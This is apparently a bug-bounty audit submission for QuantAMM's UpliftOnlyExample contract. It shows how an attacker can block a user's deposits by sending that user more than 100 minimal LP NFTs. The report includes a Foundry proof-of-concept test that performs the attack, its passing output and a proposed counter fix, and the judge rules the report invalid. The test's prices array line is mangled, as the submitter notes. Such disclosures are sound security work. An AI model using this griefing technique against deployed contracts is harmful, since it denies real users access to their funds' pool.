QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: low
Invalid

Attacker can manipulate the number of deposits of any user, preventing further deposits from him

elolpuer

Summary

Function UpliftOnlyExample.sol::addLiquidityProportional() has requirements of maximum deposits number:

function addLiquidityProportional(
address pool,
uint256[] memory maxAmountsIn,
uint256 exactBptAmountOut,
bool wethIsEth,
bytes memory userData
) external payable saveSender(msg.sender) returns (uint256[] memory amountsIn) {
if (poolsFeeData[pool][msg.sender].length > 100) {
revert TooManyDeposits(pool, msg.sender);
}
...
uint256 tokenID = lpNFT.mint(msg.sender);
...
}

In the lpNFT.sol::transferFrom() function, the _update() function is called, which is overridden by the developers:

function _update(address to, uint256 tokenId, address auth) internal override returns (address previousOwner) {
previousOwner = super._update(to, tokenId, auth);
//_update is called during mint, burn and transfer. This functionality is only for transfer
if (to != address(0) && previousOwner != address(0)) {
//if transfering the record in the vault needs to be changed to reflect the change in ownership
router.afterUpdate(previousOwner, to, tokenId);
}
}

In the _update() function, router.afterUpdate() is called, which updates poolsFeeData[poolAddress][_to]:

function afterUpdate(address _from, address _to, uint256 _tokenID) public {
...
if (tokenIdIndexFound) {
if (_to != address(0)) {
// Update the deposit value to the current value of the pool in base currency (e.g. USD) and the block index to the current block number
//vault.transferLPTokens(_from, _to, feeDataArray[i].amount);
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
​
//actual transfer not a afterTokenTransfer caused by a burn
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
​
if (tokenIdIndex != feeDataArrayLength - 1) {
//Reordering the entire array could be expensive but it is the only way to keep true FILO
for (uint i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
delete feeDataArray[i - 1];
feeDataArray[i - 1] = feeDataArray[i];
}
}
​
delete feeDataArray[feeDataArrayLength - 1];
feeDataArray.pop();
}
}
}

And because attacker can share own lpNFTs with everyone he can easily cause TooManyDeposits() error of any user.

Vulnerability Details

If an attacker observes that user is added liquidity to the pool, they can prevent further deposits from that address.

Attack Path:

  1. Attacker chosing some victim (user) that has tokens in the pool;

  2. Approving tokens to the pool;

  3. Adding liquidity with minimum amount to mint 100 of lpNFTs;

  4. Transfer all lpNFTs to the victim.

PoC:

Import in UpliftExample.t.sol IERC20.sol interface:

import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

Add this test to the UpliftExample.t.sol , note that somehow interface on codehawks site changing line with prices and removes length of array 2, so when adding this test change also this line int256[] memory prices = new int256[]();:

function testAddLiquidityAttackOnAmountOfDeposits() public {
BaseVaultTest.Balances memory balancesBefore = getBalances(bob);
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.prank(bob);
uint256[] memory amountsInFirst = upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmount / 2,
false,
bytes("")
);
vm.stopPrank();
​
int256[] memory prices = new int256[]();
for (uint256 i = 0; i < 2; ++i) {
prices[i] = (int256(i) * 1e18) / 2;
}
updateWeightRunner.setMockPrices(pool, prices);
​
skip(5 days);
​
IERC721 nft = IERC721(upliftOnlyRouter.lpNFT());
uint256[] memory maxAmountsInOnAttack = [
uint256(0), //dai
uint256(0) //usdc
].toMemoryArray();
​
//start attack
vm.startPrank(alice);
for (uint256 i = 0; i < 101; i++) {
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsInOnAttack,
uint256(0),
false,
bytes("")
);
}
vm.stopPrank();
vm.startPrank(alice);
for (uint256 i = 2; i < 102; i++) {
nft.transferFrom(alice, bob, i);
}
vm.stopPrank();
//end attack
​
vm.prank(bob);
vm.expectRevert(abi.encodeWithSelector(UpliftOnlyExample.TooManyDeposits.selector, pool, bob));
uint256[] memory amountsInSecond = upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmount / 2,
false,
bytes("")
);
vm.stopPrank();
}

In cmd run following command:

forge test --mt testAddLiquidityAttackOnAmountOfDeposits

Output:

Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] testAddLiquidityAttackOnAmountOfDeposits() (gas: 278791856)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 155.10ms (117.61ms CPU time)

Impact

An attacker can block users from adding new liquidity to the pool, and although users can transfer these NFTs it creates significant inconvenience in using the protocol.

Tools Used

Manual Review

Recommendations

Better to have simple counter to count deposits. Increment it when adding liquidity and decrement when removing.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Informational or Gas / Admin is trusted / Pool creation is trusted / User mistake / Suppositions

Please read the CodeHawks documentation to know which submissions are valid. If you disagree, provide a coded PoC and explain the real likelyhood and the detailed impact on the mainnet without any supposition (if, it could, etc) to prove your point.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.